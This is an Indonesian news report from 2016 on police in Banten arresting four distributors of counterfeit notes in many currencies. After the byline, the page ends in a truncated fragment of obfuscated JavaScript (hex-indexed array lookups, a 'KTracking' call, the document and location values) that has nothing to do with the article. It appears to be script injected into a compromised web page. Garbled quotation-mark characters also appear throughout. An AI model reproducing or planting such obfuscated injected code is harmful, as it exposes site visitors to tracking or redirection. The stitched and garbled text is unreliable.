Serang – Direktorat Kriminal Umum (Ditkrimum) Polda Banten menangkap empat tersangka pengedar uang dolar palsu senilai miliaran rupiah. Empat tersangka ini ditangkap di lokasi berbeda. Dari tangan pelaku, polisi berhasil mengamankan 29.198 lembar uang palsu dari 106 mata uang berbagai negara dengan nominal hingga miliaran rupiah.

Direktur Reserse Kriminal Umum Polda Banten Komisaris Besar Iyus Fadillah, mengatakan, keempat tersangka pengedar uang palsu tersebut diantaranya, Jumroni alias Aldi, Juhin, Ismet Selamet dan Anis Nudi Priyono yang semuanya merupakan warga Kabupaten Pandeglang.

a�?Para pelaku ini bukan pembuat, tapi sebagai pengedar saja. Uang palsu tersebut mereka edarkan ke wilayah Banten, Bekasi, Depok dan Jakarta,” kata Iyus Fadillah Rabu, 22 Juni 2016.

Berbagai modus digunakan para pelaku untuk mengedarkan uang palsu tersebut. Salah satunya menjual dengan perbandingan satu banding dua atau satu banding tiga. Aksi tersebut sudah dilakukan sejak 8 hingga 12 bulan terakhir.

a�?Pengedaran uang palsu tersebut menggunakan berbagai modus. Misalnya begini, uang Rp10 ribu bisa untuk membeli dua hingga tiga lembar mata uang palsu kepada para pelaku,a�? katanya.

Menurutnya, saat ini, polisi masih melakukan pengembangan terkait asal uang palsu tersebut diperoleh dan siapa pembuat uang palsu yang terdiri dari mata uang dolar, rupiah, ringgit, dolar singapura, rupee, yen, euro, dan lainnya. Iyus mengatakan saat ini pihaknya masih mengejar satu tersangka yang menjadi pemasok uang palsu tersebut.

a�?Masih ada satu pelaku yang saat ini berstatus DPO (daftar pencarian orang). namun terkait apakah pelaku ini merupakan jaringan internasional, masih kami selidiki,” katanya.

Iyus menyebut para tersangka akan dijerat Pasal 36 ayat (1), (2) dan (3) Undang-Undang Nomor 7 Tahun 2011 tentang Mata Uang, dengan ancaman maksimal 15 tahun penjara. (Nur/Rmd) ocument[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}